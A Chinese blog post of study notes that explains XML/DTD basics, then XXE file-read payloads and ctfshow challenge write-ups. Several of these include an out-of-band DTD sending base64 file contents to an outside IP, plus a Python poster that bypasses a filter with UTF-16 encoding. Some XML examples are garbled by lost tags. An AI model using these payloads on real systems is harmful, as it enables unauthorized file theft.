0%

XXE漏洞

XXE漏洞

xml外部实体化注入漏洞

编码绕过

xml

XML 文档实例

//消息头,包含xml版本,编码格式RUNOOBhttps://www.runoob.comrunoob-logo.png编程学习网站

分别为标签,标签内包含了要传递的信息。

标签必须成对出现,有开始标签就需要有结束标签,例如:

  • 开始标签:
  • 结束标签:

标签可以任意命名,感觉类似于函数名的意思,使用前需要自己定义声明

  • XML 被设计用来传输和存储数据,其焦点是数据的内容。 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息
  • HTML 被设计用来显示数据,其焦点是数据的外观。

xml树结构

Everyday Italian Giada De Laurentiis 2005 30.00 Harry Potter J K. Rowling 2005 29.99 Learning XML Erik T. Ray 2003 39.95

实例中的根元素是 。文档中的所有 元素都被包含在 中。

元素有 4 个子元素:、<author>、<year>、<price>。</p> <h2 id="xml语法"><a href="#xml语法" class="headerlink" title="xml语法"></a>xml语法</h2><h3 id="所有的-XML-元素都必须有一个关闭标签"><a href="#所有的-XML-元素都必须有一个关闭标签" class="headerlink" title="所有的 XML 元素都必须有一个关闭标签"></a>所有的 XML 元素都必须有一个关闭标签</h3><h3 id="XML-标签对大小写敏感"><a href="#XML-标签对大小写敏感" class="headerlink" title="XML 标签对大小写敏感"></a>XML 标签对大小写敏感</h3><h3 id="XML-必须正确嵌套"><a href="#XML-必须正确嵌套" class="headerlink" title="XML 必须正确嵌套"></a>XML 必须正确嵌套</h3><blockquote> <p><b><i>This text is bold and italic</i></b>//正确</p> </blockquote> <blockquote> <p><b><i>This text is bold and italic</b></i>//HTML不要求,但在xml中,这是错误嵌套</p> </blockquote> <h3 id="XML-属性值必须加引号"><a href="#XML-属性值必须加引号" class="headerlink" title="XML 属性值必须加引号"></a>XML 属性值必须加引号</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><note date=<span class="string">"12/11/2007"</span>><span class="comment">//加引号</span></span><br><span class="line"><to>Tove</to></span><br><span class="line"><from>Jani</from></span><br><span class="line"></note></span><br></pre></td></tr></table></figure> <h3 id="实体引用"><a href="#实体引用" class="headerlink" title="实体引用"></a>实体引用</h3><p>在 XML 中,一些字符拥有特殊的意义。</p> <p>如果您把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。</p> <p>这样会产生 XML 错误</p> <p>为了避免这个错误,请用<strong>实体引用</strong>来代替 “<” 字符</p> <p>在 XML 中,有 5 个预定义的实体引用:</p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/98769298-image.png" alt="image.png"></p> <h3 id="注释"><a href="#注释" class="headerlink" title="注释"></a>注释</h3><blockquote> <!-- This is a comment --> </blockquote> <h3 id="在-XML-中,空格会被保留"><a href="#在-XML-中,空格会被保留" class="headerlink" title="在 XML 中,空格会被保留"></a>在 XML 中,空格会被保留</h3><p>HTML 会把多个连续的空格字符裁减(合并)为一个:</p> <table> <thead> <tr> <th>HTML:</th> <th>Hello Tove</th> </tr> </thead> <tbody><tr> <td>输出结果:</td> <td>Hello Tove</td> </tr> </tbody></table> <p>在 XML 中,文档中的空格不会被删减。</p> <p>[hr]</p> <h2 id="XML-命名规则"><a href="#XML-命名规则" class="headerlink" title="XML 命名规则"></a>XML 命名规则</h2><p>XML 元素必须遵循以下命名规则:</p> <ul> <li>名称可以包含字母、数字以及其他的字符</li> <li>名称不能以数字或者标点符号开始</li> <li>名称不能以字母 xml(或者 XML、Xml 等等)开始</li> <li>名称不能包含空格</li> <li>‘-减号’,’.’,’:’要避免</li> </ul> <p>这是date属性</p> <note date="10/01/2008"> <p>这是date元素</p> <note> <date>10/01/2008</date> <p>这是扩展的date元素</p> <note> <date> <day>10</day> <month>01</month> <year>2008</year> </date> <h2 id="XML-DTD"><a href="#XML-DTD" class="headerlink" title="XML DTD"></a>XML DTD</h2><p>DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构:</p> <blockquote> <!DOCTYPE note[<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)><p>]></p> </blockquote> <p>以上 DTD 解释如下:</p> <ul> <li><strong>!DOCTYPE note</strong> (第二行)定义此文档是 <strong>note</strong> 类型的文档。</li> <li><strong>!ELEMENT note</strong> (第三行)定义 <strong>note</strong> 元素有四个元素:”to、from、heading,、body”</li> <li><strong>!ELEMENT to</strong> (第四行)定义 <strong>to</strong> 元素为 “#PCDATA” 类型</li> <li><strong>!ELEMENT from</strong> (第五行)定义 <strong>from</strong> 元素为 “#PCDATA” 类型</li> <li><strong>!ELEMENT heading</strong> (第六行)定义 <strong>heading</strong> 元素为 “#PCDATA” 类型</li> <li><strong>!ELEMENT body</strong> (第七行)定义 <strong>body</strong> 元素为 “#PCDATA” 类型</li> </ul> <p>我的理解就是说他类似于C语言,类似于定义一个变量,定义一个函数的声明就是说明一下类型,之后就可以直接引用</p> <p><strong>PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。</strong></p> <p>**CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。 **</p> <h2 id="xml-CSS"><a href="#xml-CSS" class="headerlink" title="xml CSS"></a>xml CSS</h2><?xml-stylesheet type="text/css" href="cd_catalog.css"?> <p>这行代码就是把 XML 文件链接到 CSS 文件</p> <p>​</p> <h1 id="文档声明"><a href="#文档声明" class="headerlink" title="文档声明"></a>文档声明</h1><h3 id="外部文档声明"><a href="#外部文档声明" class="headerlink" title="外部文档声明"></a>外部文档声明</h3><p>假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 [元素声明]></span><br></pre></td></tr></table></figure> <h3 id="内部文档声明"><a href="#内部文档声明" class="headerlink" title="内部文档声明"></a>内部文档声明</h3><p>假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:</p> <figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE 根元素 SYSTEM "文件名"></span><br></pre></td></tr></table></figure> <p>system是外部实体,</p> <!DOCTYPE note SYSTEM "文件名"><p>,这是外部文件包含DTD文件</p> <p>public,也是声明外部实体的方法</p> <p>​</p> <h1 id="回显式XXE漏洞"><a href="#回显式XXE漏洞" class="headerlink" title="回显式XXE漏洞"></a>回显式XXE漏洞</h1><p>随便给给标签能够读出内容,就能判断为xxe漏洞</p> <p>漏洞形成原因,外部文件不一定会是DTD文件,但是有就会帮找出来</p> <h2 id="XXE检测"><a href="#XXE检测" class="headerlink" title="XXE检测"></a>XXE检测</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span>?> <!DOCTYPE ANY [ <!ENTITY words <span class="string">"Hello XXE !"</span>>]><root>&words;</root></span><br></pre></td></tr></table></figure> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/9f176540-7e76219cef90b4d17fd9c331d7778bb3.jpg" alt="7e76219cef90b4d17fd9c331d7778bb3.jpg"></p> <p>如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析</p> <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><?xml version=”<span class="number">1.0</span>” encoding=”UTF-<span class="number">8</span>”?><!DOCTYPE ANY [<!ENTITY % name SYSTEM <span class="string">"http://localhost/tp5/test.xml"</span>>%name;]></span><br></pre></td></tr></table></figure> <h2 id="XXEpayload"><a href="#XXEpayload" class="headerlink" title="XXEpayload"></a>XXEpayload</h2><h3 id="文件读取"><a href="#文件读取" class="headerlink" title="文件读取"></a>文件读取</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"utf-8"</span>?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM <span class="string">"file:///etc/passwd"</span> >]><root><name>&xxe;</name></root></span><br></pre></td></tr></table></figure> <p>将Content-Type: application/json修改为 Content-Type: application/xml 构造XXE</p> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt"><p> ]> <tq>&xxe;</tq></p> <h1 id="根目录"><a href="#根目录" class="headerlink" title="根目录"></a>根目录</h1><p>windows系统的根目录地址:file:///c:/</p> <p>Mac/Linux系统的根目录地址:file:///</p> <h1 id="ctfshow"><a href="#ctfshow" class="headerlink" title="ctfshow"></a>ctfshow</h1><h2 id="373"><a href="#373" class="headerlink" title="373"></a>373</h2><p><img src="/yuque-notes/02-Knowledge%20Book/assets/bd75a368-image.png" alt="image.png"></p> <p>代码解析</p> <p>echo $ctfshow;输出的是$ctfshow这个变量</p> <p>$ctfshow = $creds->ctfshow;由这串代码可以知道,他会检索最外层标签的ctfshow元素,外层标签无所谓</p> <p>因此最终的代码为</p> <figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span>?></span> <span class="meta"><!DOCTYPE a [<span class="meta"><!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">"file:///flag"</span>></span> ]></span></span><br><span class="line"><span class="tag"><<span class="name">cr</span>></span></span><br><span class="line"><span class="tag"><<span class="name">ctfshow</span>></span><span class="symbol">&xxe;</span></span><br><span class="line"><span class="tag"></<span class="name">ctfshow</span>></span></span><br><span class="line"><span class="tag"></<span class="name">cr</span>></span></span><br></pre></td></tr></table></figure> <p>利用burpsuite抓包post上传</p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/12a591df-image.png" alt="image.png"></p> <h2 id="374"><a href="#374" class="headerlink" title="374"></a>374</h2><p>无回显读取文件</p> <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">libxml_disable_entity_loader</span>(<span class="literal">false</span>);</span><br><span class="line"><span class="variable">$xmlfile</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">'php://input'</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$xmlfile</span>)){</span><br><span class="line"> <span class="variable">$dom</span> = <span class="keyword">new</span> <span class="title class_">DOMDocument</span>();</span><br><span class="line"> <span class="variable">$dom</span>-><span class="title function_ invoke__">loadXML</span>(<span class="variable">$xmlfile</span>, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br></pre></td></tr></table></figure> <p>首先在vps内写一个后缀名为.dtd的文件</p> <figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">touch pd.dtd</span><br><span class="line">vim pd.dtd</span><br></pre></td></tr></table></figure> <p>文件内容为</p> <figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!ENTITY % <span class="keyword">all</span></span></span><br><span class="line"><span class="meta"><span class="string">"<!ENTITY &#x25; send SYSTEM 'http://114.116.119.253:7777?q=%file;'>"</span></span></span><br><span class="line"><span class="meta">></span></span><br><span class="line">%all;</span><br></pre></td></tr></table></figure> <p>指定到自己的代理服务器</p> <p>再用python构造一个静态服务器</p> <p><code>python3 -m http.server 8810</code></p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/01714bdb-image.png" alt="image.png"></p> <p>访问公网IP的对应端口即可查看到该静态服务器</p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/6b533b82-image.png" alt="image.png"></p> <p>再开一个代理服务器监听dtd文件指定的端口,用burpsuite向浏览器发包,payload为</p> <figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE <span class="keyword">ANY</span> [</span></span><br><span class="line"><span class="meta"><span class="meta"><!ENTITY % <span class="keyword">file</span> <span class="keyword">SYSTEM</span> <span class="string">"php://filter/read=convert.base64-encode/resource=/flag"</span>></span></span></span><br><span class="line"><span class="meta"><span class="meta"><!ENTITY % <span class="keyword">dtd</span> <span class="keyword">SYSTEM</span> <span class="string">"http://114.116.119.253/pd.dtd"</span>></span></span></span><br><span class="line"><span class="meta">%dtd;</span></span><br><span class="line"><span class="meta">%send;</span></span><br><span class="line"><span class="meta">] ></span></span><br></pre></td></tr></table></figure> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/6936ebef-image.png" alt="image.png"></p> <p>vps即可得到文件内容</p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/43f0b21b-image.png" alt="image.png"></p> <h2 id="375"><a href="#375" class="headerlink" title="375"></a>375</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line"> <span class="title function_ invoke__">error_reporting</span>(<span class="number">0</span>);</span><br><span class="line"><span class="title function_ invoke__">libxml_disable_entity_loader</span>(<span class="literal">false</span>);</span><br><span class="line"><span class="variable">$xmlfile</span> = <span class="title function_ invoke__">file_get_contents</span>(<span class="string">'php://input'</span>);</span><br><span class="line"><span class="keyword">if</span>(<span class="title function_ invoke__">preg_match</span>(<span class="string">'/<\?xml version="1\.0"/'</span>, <span class="variable">$xmlfile</span>)){</span><br><span class="line"> <span class="keyword">die</span>(<span class="string">'error'</span>);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>(<span class="variable">$xmlfile</span>)){</span><br><span class="line"> <span class="variable">$dom</span> = <span class="keyword">new</span> <span class="title class_">DOMDocument</span>();</span><br><span class="line"> <span class="variable">$dom</span>-><span class="title function_ invoke__">loadXML</span>(<span class="variable">$xmlfile</span>, LIBXML_NOENT | LIBXML_DTDLOAD);</span><br><span class="line">}</span><br><span class="line"><span class="title function_ invoke__">highlight_file</span>(<span class="keyword">__FILE__</span>);</span><br></pre></td></tr></table></figure> <p>过滤了<?xml version=”1.0”,直接去掉,或者多打一个空格在xml和version之间绕过,或者大小写绕过</p> <p>之后重复374步骤</p> <h2 id="376"><a href="#376" class="headerlink" title="376"></a>376</h2><p>过滤了头,不区分大小写,同365</p> <h2 id="377"><a href="#377" class="headerlink" title="377"></a>377</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line"></span><br><span class="line">url = <span class="string">'http://3961640c-423f-4fbc-ab05-0c601e88f773.challenge.ctf.show/'</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">""</span><span class="string">"<!DOCTYPE ANY [</span></span><br><span class="line"><span class="string"><!ENTITY % file SYSTEM "</span>php:<span class="comment">//filter/read=convert.base64-encode/resource=/flag"></span></span><br><span class="line"><!ENTITY % dtd SYSTEM <span class="string">"http://114.116.119.253:8810/pd.dtd"</span>></span><br><span class="line">%dtd;</span><br><span class="line">%send;</span><br><span class="line">] ><span class="string">""</span><span class="string">"</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">payload = payload.encode('utf-16')</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">requests.post(url ,data=payload)</span></span><br><span class="line"><span class="string">print("</span>done!<span class="string">")</span></span><br></pre></td></tr></table></figure> <p>用python提交payload</p> <h2 id="378"><a href="#378" class="headerlink" title="378"></a>378</h2><p>题目源码</p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/0778dbfc-%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE%202023-11-25%20225023.png" alt="屏幕截图 2023-11-25 225023.png"></p> <p><img src="/yuque-notes/02-Knowledge%20Book/assets/263af169-image.png" alt="image.png"></p> <figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><!DOCTYPE <span class="keyword">XXE</span>[<span class="meta"><!ENTITY <span class="keyword">xxe</span> <span class="keyword">SYSTEM</span> <span class="string">"file:///flag"</span> ></span>]></span></span><br><span class="line"><span class="tag"><<span class="name">user</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">username</span>></span></span><br><span class="line"> <span class="symbol">&xxe;</span></span><br><span class="line"> <span class="tag"></<span class="name">username</span>></span></span><br><span class="line"><span class="tag"></<span class="name">user</span>></span></span><br></pre></td></tr></table></figure> <hr> <p>来源: <a target="_blank" rel="noopener" href="https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/tga7ocsexh37yixn">https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/tga7ocsexh37yixn</a><br>语雀文档ID: 137335362</p> </div> <footer class="post-footer"> <div class="post-tags"> <a href="/tags/Web%E5%AE%89%E5%85%A8/" rel="tag"># Web安全</a> <a href="/tags/XXE/" rel="tag"># XXE</a> <a href="/tags/XML/" rel="tag"># XML</a> </div> <div class="post-nav"> <div class="post-nav-item"> <a href="/2026/09/16/43-web%E7%9F%A5%E8%AF%86%E6%B1%87%E6%80%BB/" rel="prev" title="web知识汇总"> <i class="fa fa-chevron-left"></i> web知识汇总 </a></div> <div class="post-nav-item"> <a href="/2026/09/16/45-HTML%E5%92%8CCSS/" rel="next" title="HTML和CSS"> HTML和CSS <i class="fa fa-chevron-right"></i> </a></div> </div> </footer> </article> </div> <script> window.addEventListener('tabs:register', () => { let { activeClass } = CONFIG.comments; if (CONFIG.comments.storage) { activeClass = localStorage.getItem('comments_active') || activeClass; } if (activeClass) { let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`); if (activeTab) { activeTab.click(); } } }); if (CONFIG.comments.storage) { window.addEventListener('tabs:click', event => { if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return; let commentClass = event.target.classList[1]; localStorage.setItem('comments_active', commentClass); }); } </script> </div> <div class="toggle sidebar-toggle"> <span class="toggle-line toggle-line-first"></span> <span class="toggle-line toggle-line-middle"></span> <span class="toggle-line toggle-line-last"></span> </div> <aside class="sidebar"> <div class="sidebar-inner"> <ul class="sidebar-nav motion-element"> <li class="sidebar-nav-toc"> 文章目录 </li> <li class="sidebar-nav-overview"> 站点概览 </li> </ul> <!--noindex--> <div class="post-toc-wrap sidebar-panel"> <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#XXE%E6%BC%8F%E6%B4%9E"><span class="nav-number">1.</span> <span class="nav-text">XXE漏洞</span></a></li><li class="nav-item nav-level-1"><a class="nav-link" href="#xml"><span class="nav-number">2.</span> <span class="nav-text">xml</span></a><ol class="nav-child"><li class="nav-item nav-level-2"><a class="nav-link" href="#XML-%E6%96%87%E6%A1%A3%E5%AE%9E%E4%BE%8B"><span class="nav-number">2.1.</span> <span class="nav-text">XML 文档实例</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#xml%E6%A0%91%E7%BB%93%E6%9E%84"><span class="nav-number">2.2.</span> <span class="nav-text">xml树结构</span></a></li></ol></li></ol></div> </div> <!--/noindex--> <div class="site-overview-wrap sidebar-panel"> <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person"> <img class="site-author-image" itemprop="image" alt="谷氨酸棒状杆菌" src="https://ice.frostsky.com/2024/03/16/1776051b6463e644bf0eb40aed808727.md.jpeg"> <p class="site-author-name" itemprop="name">谷氨酸棒状杆菌</p> <div class="site-description" itemprop="description"></div> </div> <div class="site-state-wrap motion-element"> <nav class="site-state"> <div class="site-state-item site-state-posts"> <a href="/archives/"> <span class="site-state-item-count">64</span> <span class="site-state-item-name">日志</span> </a> </div> <div class="site-state-item site-state-categories"> <a href="/categories/"> <span class="site-state-item-count">2</span> <span class="site-state-item-name">分类</span></a> </div> <div class="site-state-item site-state-tags"> <a href="/tags/"> <span class="site-state-item-count">94</span> <span class="site-state-item-name">标签</span></a> </div> </nav> </div> <div class="links-of-author motion-element"> <span class="links-of-author-item"> <a href="https://github.com/Glut4micum" title="GitHub → https://github.com/Glut4micum" rel="noopener" target="_blank"><i class="fab fa-github fa-fw"></i>GitHub</a> </span> </div> </div> </div> </aside> <div id="sidebar-dimmer"></div> </div> </main> <footer class="footer"> <div class="footer-inner"> <div class="copyright"> © <span itemprop="copyrightYear">2026</span> <span class="with-love"> <i class="fa fa-heart"></i> </span> <span class="author" itemprop="copyrightHolder">谷氨酸棒状杆菌</span> </div> <!-- <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Gemini</a> 强力驱动 </div> --> <div class="busuanzi-count"> <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script> <span class="post-meta-item" id="busuanzi_container_site_uv" style="display: none;"> <span class="post-meta-item-icon"> <i class="总访客量 fa fa-user"></i> </span> <span class="site-uv" title="总访客量"> <span id="busuanzi_value_site_uv"></span> </span> </span> <span class="post-meta-divider">|</span> <span class="post-meta-item" id="busuanzi_container_site_pv" style="display: none;"> <span class="post-meta-item-icon"> <i class="总阅读量 fa fa-eye"></i> </span> <span class="site-pv" title="总访问量"> <span id="busuanzi_value_site_pv"></span> </span> </span> </div> </div> </footer> </div> <script src="/lib/anime.min.js"></script> <script src="/lib/velocity/velocity.min.js"></script> <script src="/lib/velocity/velocity.ui.min.js"></script> <script src="/js/utils.js"></script> <script src="/js/motion.js"></script> <script src="/js/schemes/pisces.js"></script> <script src="/js/next-boot.js"></script> <script src="/js/local-search.js"></script> <div class="site-bg-carousel" id="siteBgCarousel"> <div class="bg-slide active" style="background-image: url('/images/background/bg-1.jpg');"></div> <div class="bg-slide" style="background-image: url('/images/background/bg-2.jpg');"></div> <div class="bg-slide" style="background-image: url('/images/background/bg-3.jpg');"></div> </div> <div class="site-bg-mask"></div> <canvas id="particles-canvas"></canvas> <button class="theme-switch-btn" id="themeSwitchBtn" title="切换明暗模式" aria-label="切换明暗模式"> <i class="icon-moon fa fa-moon"></i> <i class="icon-sun fa fa-sun"></i> </button> <script> (function () { // ========== 明暗模式 ========== var rootEl = document.documentElement; var STORAGE_KEY = 'blog-theme'; function applyTheme(theme) { rootEl.setAttribute('data-theme', theme); try { localStorage.setItem(STORAGE_KEY, theme); } catch (e) {} } // 初始化:默认暗色;若用户之前切换过则用记忆值 var saved; try { saved = localStorage.getItem(STORAGE_KEY); } catch (e) {} var initialTheme = saved === 'light' ? 'light' : 'dark'; applyTheme(initialTheme); document.getElementById('themeSwitchBtn').addEventListener('click', function () { var current = rootEl.getAttribute('data-theme') === 'light' ? 'dark' : 'light'; applyTheme(current); }); // ========== 背景轮播 ========== var slides = document.querySelectorAll('#siteBgCarousel .bg-slide'); var current = 0; var INTERVAL = 6000; // 6 秒切换 if (slides.length > 1) { setInterval(function () { slides[current].classList.remove('active'); current = (current + 1) % slides.length; slides[current].classList.add('active'); }, INTERVAL); } // ========== Canvas 连线粒子 ========== var canvas = document.getElementById('particles-canvas'); var ctx = canvas.getContext('2d'); var particles = []; var mouse = { x: null, y: null }; var COUNT = 70; // 粒子数量 var LINK_DIST = 140; // 连线距离 function resize() { canvas.width = window.innerWidth; canvas.height = window.innerHeight; } resize(); window.addEventListener('resize', resize); function random(min, max) { return Math.random() * (max - min) + min; } function createParticles() { particles = []; for (var i = 0; i < COUNT; i++) { particles.push({ x: Math.random() * canvas.width, y: Math.random() * canvas.height, vx: random(-0.5, 0.5), vy: random(-0.5, 0.5), r: random(1, 2.5) }); } } createParticles(); window.addEventListener('mousemove', function (e) { mouse.x = e.clientX; mouse.y = e.clientY; }); window.addEventListener('mouseout', function () { mouse.x = null; mouse.y = null; }); function draw() { ctx.clearRect(0, 0, canvas.width, canvas.height); var i, j, dx, dy, dist, alpha; // 连线 for (i = 0; i < particles.length; i++) { for (j = i + 1; j < particles.length; j++) { dx = particles[i].x - particles[j].x; dy = particles[i].y - particles[j].y; dist = Math.sqrt(dx * dx + dy * dy); if (dist < LINK_DIST) { alpha = 1 - dist / LINK_DIST; ctx.strokeStyle = 'rgba(120, 200, 255, ' + (alpha * 0.5).toFixed(3) + ')'; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(particles[j].x, particles[j].y); ctx.stroke(); } } } // 与鼠标连线 if (mouse.x !== null) { for (i = 0; i < particles.length; i++) { dx = particles[i].x - mouse.x; dy = particles[i].y - mouse.y; dist = Math.sqrt(dx * dx + dy * dy); if (dist < LINK_DIST * 1.2) { alpha = 1 - dist / (LINK_DIST * 1.2); ctx.strokeStyle = 'rgba(255, 255, 255, ' + (alpha * 0.4).toFixed(3) + ')'; ctx.lineWidth = 1; ctx.beginPath(); ctx.moveTo(particles[i].x, particles[i].y); ctx.lineTo(mouse.x, mouse.y); ctx.stroke(); } } } // 粒子 for (i = 0; i < particles.length; i++) { var p = particles[i]; p.x += p.vx; p.y += p.vy; if (p.x < 0 || p.x > canvas.width) p.vx *= -1; if (p.y < 0 || p.y > canvas.height) p.vy *= -1; ctx.beginPath(); ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2); ctx.fillStyle = 'rgba(140, 210, 255, 0.85)'; ctx.fill(); } requestAnimationFrame(draw); } draw(); })(); </script> </body> </html>